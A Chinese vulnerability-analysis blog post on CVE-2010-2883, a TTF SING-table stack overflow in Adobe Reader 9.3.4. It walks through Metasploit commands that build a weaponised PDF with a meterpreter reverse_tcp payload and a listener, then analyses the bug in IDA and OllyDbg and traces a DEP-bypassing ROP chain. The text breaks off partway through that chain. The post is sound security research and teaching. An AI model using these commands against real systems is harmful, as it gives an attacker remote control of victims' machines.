天空闲话 发表于 2024-4-20 05:27:05

CVE-2010-2883漏洞

CVE-2010-2883 Adobe Reader TTF 字体SING表栈溢出漏洞

1. 漏洞描述

​        Adobe Reader 和 Acrobat 都是美国奥多比(Adobe)公司的产品。Adobe Reader是一款免费的 PDF 文件阅读器,Acrobat 是一款 PDF 文件编辑和转换工具。基于 Window 和 Mac OS X 的 Adobe Reader 和 Acrobat 9.4 之前的9.x版本,8.2.5之前的8.x版本的 CoolType.dll 中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有 TTF 字体 Smart INdependent Glyphlets (SING) 表格中超长字段 uniqueName 的 PDF 文件执行任意代码或者导致拒绝服务(应用程序崩溃)
2. 分析环境

环境备注攻击主机操作系统(使用MSF的操作系统)Windows 10/Kali能使用MSF的操作系统均可目标主机操作系统Windows XP SP3版本号:Windows XP Professional SP3 简体中文版32位 HomeEdition虚拟机VMware Workstation版本号:15.5 PRO调试器WinDbg
OllyDbg版本号:6.12.0002.633 x86
版本号:1.0.1反汇编器IDA Pro版本号:7.0漏洞程序Adobe Reader版本号:9.3.4更新漏洞程序Adobe Reader版本号:9.4.0补丁比较工具BinDiff版本号:7.0漏洞复现Metasploit版本号:6.18漏洞模块CoolType.dll版本号:5.5.72.1补丁模块CoolType.dll版本号:5.5.73.1查壳工具PEID版本号:0.95PDF文件查看工具0101Editor版本号:11.0.1PDF文件分析工具PDFStreamDumper版本号:0.09.0627样本 md5
名企面试自助手册.pdf: 3f41dc8e22deca8302db1207e5cdc11c
svrhost.exe: 56e6d9b07c8e9e71224c0741566c3eac
msxml0r.dll: dd48f45c9418da8eb89dfcae894d5b93
3. 漏洞复现

3.1 前期准备

​        在 Windows XP SP3 中安装 Adobe Reader 9.3.4
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104759970-1302202232.png
3.2 本地感染弹出计算器


[*]在命令行提示符中输入 msfconsole 启动 Metasploit
[*]输入 search CVE-2010-2883 搜索漏洞利用模块
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104800558-1042692136.png
[*]使用下面命令生成 pdf 漏洞利用文件
use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/exec
set cmd calc.exe
exploithttps://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104801106-1578550975.png
[*]pdf 文件生成在 C:\Users\Administrator.msf4\local\msf.pdf 中,将该文件拖入 Windows XP SP3 中
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104801732-799870427.png
[*]在 Windows XP SP3 中双击 pdf 文件,即弹出计算机
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104802293-878422977.png
3.3 操控靶机


[*]在命令行提示符中输入 msfconsole 启动 Metasploit
[*]输入 search CVE-2010-2883 搜索漏洞利用模块
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104802953-2037660407.png
[*]在 Windows XP SP3 中打开命令行提示符,查看 IP 地址:192.168.137.131
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104803523-253814436.png
[*]在本机中打开命令行提示符,查看 IP 地址:10.18.223.52
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104804102-2002166395.png
[*]在 Metasploit 中输入以下命令:
调用meterpreter载荷,反向连接到渗透机
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp

设置IP地址
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST 10.18.223.52

设置本地监听端口
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LPORT 8888

设置PDF文件名称
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf

生成PDF文件
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > exploithttps://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104804633-668601257.png
[*]将生成的 PDF 木马文件发送至靶机
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104805275-1343121247.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104806377-985072263.png
[*]在 Metasploit 开启 shell 监听会话,等待靶机打开 pdf。输入以下命令:
使用handler监听模块
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > use exploit/multi/handler

回弹一个tcp连接
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

设置监听IP地址(跟PDF木马文件一致)
msf6 exploit(multi/handler) > set LHOST 192.168.137.131

设置监听的端口(跟PDF木马文件一致)
msf6 exploit(multi/handler) >

开启监听
msf6 exploit(multi/handler) > exploithttps://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104807330-1355801243.png
[*]靶机中运行pdf,系统会出现卡顿
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104809283-544670836.png
[*]此时 Metasploit 已获取 shell 会话,并用 Meterpreter 控制靶机。输入以下命令:
查看系统信息
meterpreter > sysinfo
截屏
meterpreter > screenshothttps://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104810371-1136855313.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104811323-225710444.png
[*]切换进程
这个漏洞利用过程,adobe reader会“卡壳”退出,所以需要快速切换到其他系统进程,这样会话才不会丢失
获取进程
meterpreter > ps
切换进程
meterpreter > migrate 2212https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104812214-175783725.png
4. PDF 格式和 TTF SING 表

4.1 PDF 的文件结构

​        可移植文档格式(Portable Document Format,简称PDF)是一种用独立于应用程序、硬件、操作系统的方式呈现文档的文件格式。1991年,Adobe Systems共同创始人约翰·沃诺克提出的名为“Camelot”的系统演变成PDF。
​        PDF文件格式可以将文字、字型、格式、颜色及独立于设备和分辨率的图形图像等封装在一个文件中。该格式文件还可以包含超文本链接、声音和动态影像等电子信息,支持特长文件,集成度和安全可靠性都较高。而且这种格式是跨平台的,和操作系统无关。
PDF文档是一种文本和二进制混排的格式,PDF文件结构上主要有四部分组成:

[*]Header:文件头部,用来注明 PDF 文件的版本号,其值为 %PDF-版本号,如 %PDF-1.5
[*]Body: 主体,主要由组成文件的对象组成,如图片、文字等。
[*]Cross-reference table: 交叉引用表,用于存放所有对象的位置偏移,可以方便地随机访问 PDF 中的任意对象。
[*]Trailer: 文件尾,给出了交叉引用表的位置和一些关键对象的信息,以%%EOF结尾。
https://img-blog.csdnimg.cn/f2442795896d4d16a9631b99c40ce835.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI4MjA1MTUz,size_16,color_FFFFFF,t_70#pic_center4.2 使用 0101 Editor 分析 PDF 文件结构


[*]把样本 PDF 文件拖到 010 editor 中,在 View -> Edit As -> Hex ,使用十六进制视图查看文档
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104813040-1835648402.png
[*]点击模板最后一个选项,打开模板存储库
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104813819-473352174.png
[*]找到 PDF.bt ,点击下载(此处我已经下载过了)
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104814500-715235436.png
[*]运行下载的模板,
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104815127-1322591322.png
[*]点击下面解析结果的相应部分,可以在编辑视图处高亮该部分,可以看到样本的 Header 中版本号是 1.5
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104815926-535243341.png
[*]中间是 PDF 的 body 部分
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104816670-1269954723.png
[*]接下来是交叉引用表
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104817503-1715471728.png
[*]最后是尾部
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104818334-2091264022.png
4.3 使用 PDFStreamDumper 分析 PDF 文件中的对象

​        PDF的 Body 可以看成一个树状的层次结构组成,其中的每个节点都是一个对象。由根节点 Document catalog 开始,其页节点包括文档的内容(页树)、大纲、文章线索、等其他属性
​        以 Page tree 为例,其下面的页节点是 Page 节点,也就是每一个页面,Page 节点又由内容流、缩略图、注解等元素组成
https://img-blog.csdnimg.cn/382e058819334302afbded9eca9a578a.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI4MjA1MTUz,size_16,color_FFFFFF,t_70#pic_center
使用 PdfStreamDumper.exe 解析 PDF 文件中的对象

[*]在菜单 Load -> Pdf File 中加载样本文件
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104818929-1898234402.png
[*]点击第一个对象,/Type 指定了该对象的类型是 Catalog,也就是根对象。
/Pages 指向一个对象 2 0 R , 2是对象的序号,0是生成号,R代表引用一个对象,该对象其实是一个 Pages 对象。/OpenAction 指向了 11 0 R 对象,该对象指定了打开文档时要进行的操作
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104819484-2110992440.png
[*]查看 2 0 R 对象,也就是序号为 2 的对象。其中 /Resources 指向一个资源对象 4 0 R。 /Kids 是它的叶节点 5 0 R,其实就是一个 page 节点。/Type 指定该对象是 Pages 对象
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104820036-1527804560.png
[*]查看 /Resources 指向的一个资源对象 4 0 R,它是漏洞触发的对象。其对象序号为 4,其中 /Font条目指向了一个字体字典对象 6 0 R
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104820583-1320679547.png
[*]查看序号为 6 的对象。/F1代表了使用Type 1字体技术定义字形形状的字体。该字体的详细信息可以从以下地址获得
https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/minuxs/TrueType 1.0 Font Files.pdf
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104821154-173160221.png
[*]查看 7 0 R,其中的 /FontDescriptor 指向了一个字体描述器 9 0 R,用于描述字体各种属性
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104821728-1102018703.png
[*]查看 9 0 R ,该对象中的 /FontFile2 指向一个流对象 10 0 R,该对象就是触发漏洞的字体对象
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104822278-1783915879.png
[*]其中的 00 01 00 00 是 ttf 字体文件的开始标志
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104822888-1713091520.png
[*]在 PDFStreamDumper 中右键选择 Save Decompressed Stream, 把该 TTF 内容存在到 txt 文件中
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104823503-920835373.png
[*]打开 0101Editor ,下载 TTF 文件的 0101Editor 模板
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104824088-815727365.png
[*]使用 010editor 打开导出的 ttf 文件和 ttf 解析模板
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104824900-1166768127.png
[*]查看 TTF 文件结构
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104825681-776642045.png
4.4 TTF 文件解析

​        全名 The TrueType Font File,是定义字体的文件
​        TrueType 字体文件以表格格式包含构成字体的数据。下面是各表的作用
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104826554-1864005349.png
4.5 SING 表结构

​        SING 技术是 Adobe 公司推出的针对“外字”(Gaiji)的解决方案,外字是日语中的意思,中文中就是生僻字的意思。SING 允许用户创建新字形,每个新字形作为一个独立的字体打包。这样打包出来的字形称为字形包(glyphlet)。这种格式通过Adobe公开的,且基于OpenType。
​        SING(Smart INdependent Glyphlets,智能独立字形包)的规范允许字形包随同文件一起传送,这样包含 SING 字符的文件也是可携带的,而又不会字符乱码、异常显示。
​        展开 010editor ttf 文件中的表,可以看到有一个 SING 表,该表就是漏洞触发点,TTF 中关于 SING 表的 TableEntry 结构如下:
typedef sturct_SING
{
        char tag; // 标记:"SING"
        ULONG checkSum; // 校验和:"0xD9BCC8B5"
        ULONG offset; // 相对文件的偏移:"0x0000011C "
        ULONG length; // 数据长度:"0x00001DDF"
} TableEntry;​        在 github 的开源库中找到 SING 表定义,定义如下:
#ifndef FORMAT_SING_H
#define FORMAT_SING_H


#define SING_VERSION VERSION(1, 1)


#define SING_UNIQUENAMELEN 28
#define SING_MD5LEN 16


typedef struct
{
        Card16 tableVersionMajor;//Card16 就是 USHORT 类型,16位大小
        Card16 tableVersionMinor;
        Card16 glyphletVersion;
        Card16 permissions;
        Card16 mainGID;
        Card16 unitsPerEm;
        Int16 vertAdvance;
        Int16 vertOrigin;
        Card8 uniqueName;//Card8 就是 byte 类型或 char 类型,8位大小
        Card8 METAMD5;
        Card8 nameLength;
        Card8 *baseGlyphName; /* name array */
} SINGTbl;​
​        漏洞触发的原因是 CoolType.dll 在复制 uniqueName 字段到缓冲区时,没有检查 uniqueName 字段的长度,导致缓冲区溢出

[*]查看样本中的 SING 表,可以看到 SING 表在文件中的偏移是 0x11C
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104827373-1400851072.png
[*]SING 表中偏移 16 字节的位置是 uniqueName 字段。可以看到样本中的 uniqueName 在超出 28 字节的长度后,仍然没有结束符 \x00 。因此样本中 SING 表的 uniqueName 是一个超长字符串
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104828282-1009760693.png
5. 静态分析

5.1 基于字符串定位的漏洞分析方法

​        用 IDA 反汇编 CoolType.dll 库,查看字符串可发现 “SING” 字体,因为该字符串是漏洞解析出错的地方,直接定位进去即可查看该库对 sing 表格的解析方式,主要是 strcat 造成的溢出漏洞:

[*]用 IDA 反汇编 CoolType.dll 库,点击 View->Open subviews->Strings
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104829049-2053726181.png
[*]查找字符串 “SING” ,双击进去查看
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104829833-1531554557.png
[*]得到 “SINg” 字符串的地址
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104830407-703589459.png
[*]查找该字符串的交叉引用
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104831046-869152032.png
[*]找到合适的调用处,分析该函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104831717-1955662586.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104832432-1770376885.png
5.2 基于定位函数交叉引用的漏洞分析方法


[*]存在漏洞的 dll 文件复制出来,用 ida 打开进行反汇编。打开 ida 的导入表视图,ctrl+f 搜索 strcat 函数,双击函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104833173-1111293209.png
[*]在 strcat 函数处按 X 打开交叉引用表
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104833836-1238124756.png
[*]在 sub_803DCF9+B2 处的引用就是存在漏洞的地方
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104834395-14835605.png
[*]strcat 函数的定义如下:
char *strcat(char *dest, const char *src);

[*]dest:目的字符串指针
[*]src:源字符串指针。
[*]返回值:返回dest 字符串起始地址
strcat() 会将参数 src 字符串复制到参数 dest 所指的字符串尾部;dest 最后的结束字符 NULL 会被覆盖掉,并在连接后的字符串的尾部再增加一个 NULL。
注意:dest 与 src 所指的内存空间不能重叠,且 dest 要有足够的空间来容纳要复制的字符串。

[*]按下 F5 ,把该段代码反编译成 C 代码。可以看到 strcat 把 v18 变量偏移为 16 地址的字符串复制到缓冲区中,而偏移 16 处刚好是 SING 表的 uniqueName 字段。如果对 SING 表熟悉,就可以确认 v18 就是 SING 表的结构体
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104834953-537579936.png
[*]在 github 上下载以下头文件:
https://github.com/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h
[*]修改数据类型:
#ifndef FORMAT_SING_H
#define FORMAT_SING_H

#define SING_VERSION VERSION(1, 1)

#define SING_UNIQUENAMELEN 28
#define SING_MD5LEN 16

typedef struct
{
        USHORT tableVersionMajor;
        USHORT tableVersionMinor;
        USHORT glyphletVersion;
        USHORT permissions;
        USHORT mainGID;
        USHORT unitsPerEm;
        USHORT vertAdvance;
        USHORT vertOrigin;
        BYTE uniqueName;
        BYTE METAMD5;
        BYTE nameLength;
        BYTE *baseGlyphName; /* name array */
} SINGTbl;
#endif /* FORMAT_SING_H */
[*]在 IDA 中按 Ctrl + F9 导入头文件
[*]在 v18 处右键,选择 Convert to struct。输入 sing,选择导入的结构体
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104835489-1236728530.png
[*]在 v18 处右键重命令变量名成 singTable ,操作完后可读性就高了很多, ida 可以自动识别结构体的字段
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104836105-126537047.png
6. 动态调试

6.1 调试过程

6.1.1 前置分析


[*]用 ollydbg 打开 C:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104836832-766474885.png
[*]加载后按 F9 运行程序,以便加载所需的 dll 库
[*]在三个关键位置下断点,首先在引用 singTable 处下个断点,便于观察内存中 singTable 的内容。在 IDA 的 singTable 变量处,右键选择 Synchronize with -> IDA View-A, Hex View-1 ,这样可以把反编译代码与汇编代码窗口同步,这样只要把鼠标放在引用 singTable 变量的地方,即可在 View-A 窗口同步到该处的汇编代码
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104837475-1752400114.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104838082-264308054.png
[*]第一处断点地址为 0x0803DD82 。在 ollydbg 界面上按 Ctrl + g, 输入 803DD82 ,点击确定,跳到该地址的汇编代码
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104838559-1778834358.png
[*]在该处的汇编代码左边的十六进制显示区域双击或按 F2 下一个断点
[*]在调用 strcat() 函数溢出前下一个断点,地址为 0x0803DDAB
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104839128-973455332.png
[*]在触发漏洞的位置下一个断点,该位置从溢出处一直跟踪即可发现,也是关键的一个点,地址为 0x0808B308
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104839819-913520872.png
[*]设置好断点后,可以加载样本文件进行漏洞分析了,将之前用 Metasploit 生成的 pdf 文件拖入虚拟机,命名为 a.pdf,复制一份到 C 盘根目录
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104840496-1127791785.png
[*]用 ollydbg 打开的 Adobe Reader 打开 a.pdf 文件,发现此时断在第三个断点处
[*]此时 eax 寄存器的值为 0x12E6D0,也就是栈上的一个地址,此时栈顶为 0x12E2D8。会取 eax 指向的地址的值来作为函数调用
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104841174-1179189830.png
[*]在 eax 处右键,选择堆栈窗口中跟随
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104841689-816245304.png
[*]可以看到 0x12E6D0 处存放着的值为 0x080833EF ,意味此处代码的跳转会跳到 CoolType.dll 的 0x080833EF 处执行。因此,如果我们在栈溢出时可以覆盖 0x12E6D0 处的值,就可以跳到任意地址去执行 shellcode
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104842297-2107885783.png
[*]在 ida 处按 g 键,输入 0x080833EF ,回车,跳到该处的代码
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104842767-1397623544.png
这是一个根据 switch 语句的值进行相应处理的函数:
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104843325-776488870.png
[*]通过以上分析,可以确定,栈上的 0x12E6D0 地址存放着一个函数指针,在处理 SING 表时,会调用该函数指针
[*]按 F9 继续运行程序,断在第一个断点处,此处是引用 singTable 的地方,按 F8 运行到下一行代码,此时 eax 指向 SING 表在内存中的位置。在 eax 处右键在数据窗口跟随。可以看到左下角的数据窗口中看到 SING 表的内容,eax 指向的内存地址的 0x10 偏移处即为 SING 表的 uniqueName。可以看到 SING 表的 uniqueName 字段相当长
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104843941-832657504.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104844551-1882405520.png
[*]一直按 F8 运行到 0x0803DD9F 处,此处把 eax 加 0x10, 取到 uniqueName 的地址,用于调用 strcat()
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104845293-123116574.png
[*]继续运行到第二个断点 0x803DDAB 处,也就是调用 strcat() 函数处。在右下角的栈窗口上可以看到 strcat 复制的目的地址是栈上的缓冲区 0x12E4D8
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104846078-1129693610.png
[*]在运行 strcat 函数之前,先查看栈上 0x12E6D0 处附近的数据是什么。在栈窗口上按 ctrl + g 输入 0x12E6D0
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104846630-1903079402.png
此时 0x12E6D0 处的值仍然为之前的 0x80833EF:
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104847268-2116145007.png
[*]查看缓冲区 0x12E4D8 附近的值(即目的地址)
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104847782-227523489.png
[*]按 F8 单步步过 strcat 函数,来到下一行,可以看到 uniqueName 的值已经复制到栈缓冲区 0x12E4D8 处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104848457-45947381.png
[*]查看 0x12E6D0 处的值,已经被覆盖成 0x4A80CB38,该处为 icucnv36.dll 的代码
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104849067-1112224838.png
[*]在汇编代码窗口按 ctrl+g 跳到 0x4A80CB38 处的代码,该处的代码会调整栈顶并返回,明显是一个使用 ROP 技术绕过 DEP 保护的技术
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104849545-1164306597.png
6.1.2 寻找触发点

​        漏洞触发点是 0x0808B308 处的 call ,可以从调用 strcat 函数开始,一步一步的步入代码去寻找调用点,在寻找的过程中,可以使用 ida 的反编译窗口来加强理解这些汇编代码的作用
寻找方法如下:
​        在返回函数前,为了寻找覆盖栈后,可能会导致程序崩溃的子函数,可以在每次函数调用前,都下个断点,然后 F8 步过直接执行完该函数,如果程序退出,证明这个函数里面可能引用到覆盖后的数据。然后用 ollydbg 重新运行到该断点处,用 F7 步入函数继续跟踪到触发点。
​        在开始操作前,先打个虚拟机快照,因为该样本的触发点运行后,会释放恶意代码,运行过一次恶意代码后会影响后续的样本分析,所以在找到触发点后,需要恢复下快照,把系统恢复到恶意代码释放前。
1)一路按 F8,运行到调用函数时,下一个断点
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104850107-1224505025.png
2)按 F8 步过该函数,发现程序没有崩溃,删除上面的断点,继续往下测试,直到调用 0x08016BDE 函数处,F8 会直接跑到 call 处,显然通过该函数会直接运行到触发点
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104850689-125810267.png
3)发现调用点后,可以这里可以 ctrl+F2 重新打开程序,加载程序,运行到断点处,按 F7 步入 0x08016BDE 函数,并在 IDA 反编译窗口中跟进该函数。重复上面的操作,在 0x08016C56 地址处调用 0x0801BB21 函数后会跑到 call 处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104851271-1293936392.png
4)F7 继续跟进这个函数,在 0x0801BB2D 处把 ecx 指向的值移动到 eax
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104851864-745421195.png
5)在 ecx 上右键,在数据窗口中跟随
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104852400-869061324.png
6)在数据窗口中右键 -> 长型->地址,以地址形式显示数据,发现 ecx 处的值也是一个指针,指向 0x081A601C
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104852953-2031963767.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104853507-2037815867.png
7)在数据窗口中 ctrl+g 输入 0x081A601C,跳转到该地址,发现该地址处存放着很多函数指针,显然是一个 C++ 类的虚表。而 0x081A601C 则是一个虚表指针,指向该虚表
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104854001-556726255.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104854532-119876943.png
8)在 IDA 中查看该地址,可以看到该类是 StreamHandler,应该是处理解析 PDF 中流对象的类
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104855274-96364816.png
9)在反编译窗口中修改下该函数的变量名,该函数的功能也就是取 StreamHandler 的第一个虚函数 0x0808B116 ,然后运行该函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104855913-1589146261.png
10)继续运行到调用该虚函数处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104856474-1474392968.png
11)查看此时的栈情况,分别对应 0x0808B116 函数的 7 个参数,第一个参数是 StreamHandler 对象。也就是 0x12E718 处的对象
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104857012-1047734598.png
12)查看该地址的数据时,发现该对象偏移 0x3C 处,存放了 0x12E6D0,该地址刚好存放了后面要调用的函数指针,在缓冲区溢出时,很可能是覆盖了 StreamHandler 的一个成员变量,该变量是一个函数指针,指向一个处理函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104857527-1540462616.png
13)F7 跟进 0x0808BB16 函数,在 0x0808B2E3 处调用处取了 0x12F718 + 0x3C 处的值放到 eax,也就是 StreamHandler 对象偏移为 0x3C 处的值,该值为 0x12E6D0
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104858078-2000258126.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104858686-1771884382.png
14)继续运行,在 0x0808B308 处 call 取 0x12E6D0 处的值作为函数进行调用,该值为 icucnv36.dll 中的地址 0x4A80CB38
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104859267-479331629.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104859829-1244955985.png
15)按 F7 步入后,就到了 ROP 链
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104900272-1443150780.png
6.1.3 ROP 链分析

1)跳到 0x4A80CB38 处运行
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104900814-235648509.png
2)add ebp, 0x794 调整了 ebp,加了 0x794,从0x12DD48 调整到 0x12E4DC
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104901326-2115328360.png
3)下面的 leave 指令相当于 mov esp,ebp pop ebp。也就是把 ebp 的值复制到 esp,也就达到了调整栈顶的目的,运行完后, esp 指向 0x12E4E0,而缓冲区溢出时的地址是 0x12E4D8,该地址刚好在后面8个字节,是我们可以控制的栈区。所以这段汇编代码的作用是把栈顶调整到可以控制的栈区
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104901923-425255026.png
4)接下来根据栈上的返回地址返回,到达下一段 ROP 代码
​        retn 指令相当于:pop eipadd esp, 4h
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104902480-1261584031.png
5)该处 pop esp 把 esp 修改到 0x0c0c0c0c 地址,也就是堆喷常用的地址。运行完后,栈顶来切换成 0x0c0c0c0c
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104903113-562648215.png
6)继续执行返回,到达下一段 ROP 代码
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104903689-49461608.png
7)执行完 pop ecx 把 0x4A8A0000 地址出栈到 ecx
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104904293-182487997.png
8)继续执行返回,到达下一段 ROP 代码
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104904912-1363540823.png
9)该段代码执行 mov dword ptr ds:,eax 保存 eax 处的值到 0x4A8A0000 处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104905572-987234967.png
10)继续执行返回,到达下一段 ROP 代码
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104906205-870879526.png
11)此时栈顶存放了 CreateFileA 函数的地址,通过 pop eax 赋值给 eax,然后返回
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104906872-175115277.png
12)返回到 jmp , 也就是直接跳转到 CreateFileA 函数中执行,此时栈上是已经构造好的参数
CreateFileA函数:创建或打开文件或 I/O 设备
原型和参数解释:
HANDLE CreateFileA(
         LPCSTR                lpFileName,        //要创建或打开的文件或设备的名称,下图中为 0x4A8522C8,值为iso88591
         DWORD               dwDesiredAccess,//访问权限,下图中为 GENERIC_ALL 0x10000000(所有可能的访问权限)
         DWORD               dwShareMode,        //文件或设备的请求共享模式,下图中为 null
LPSECURITY_ATTRIBUTES lpSecurityAttributes,//指向一个 SECURITY_ATTRIBUTES 结构的指针,下图中为 null
         DWORD               dwCreationDisposition,//对存在或不存在的文件或设备执行的操作,下图中为 CREATE_ALWAYS
         DWORD               dwFlagsAndAttributes,//文件或设备属性和标志,下图中表示文件用于临时存储且文件被隐藏
                                                                                                                    //下图中为 FILE_ATTRIBUTE_TEMPORARY|FILE_ATTRIBUTE_HIDDEN
HANDLE                hTemplateFile//具有 GENERIC_READ 访问权限的模板文件的有效句柄,下图中为null
);https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104907526-1124209683.png
13)继续按 F7 步入 CreateFileA ,该函数会在本地打开一个文件,如果不存在则创建。FileName 参数为 iso88591 ,也就是在本地创建一个名为 iso88591 的文件,且该文件是一个隐藏文件和临时文件。要在文件夹中开启显示隐藏文件才可以查看
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104908170-985916929.png
14)按 Ctrl + F9 执行至返回,在桌面上可以看到这个文件
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104908906-16118843.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104909497-766967015.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104910105-229330385.png
15)CreateFileA 函数调用完后,返回至 0x4A801064 处,在该处执行 retn 指令
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104910760-779223299.png
16)执行完上述的 retn 指令后,到达 0x4A8063A5 处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104911465-1495693381.png
17)该处代码执行 pop ecx 指令,此时 ecx 被赋值为 0x4A801064
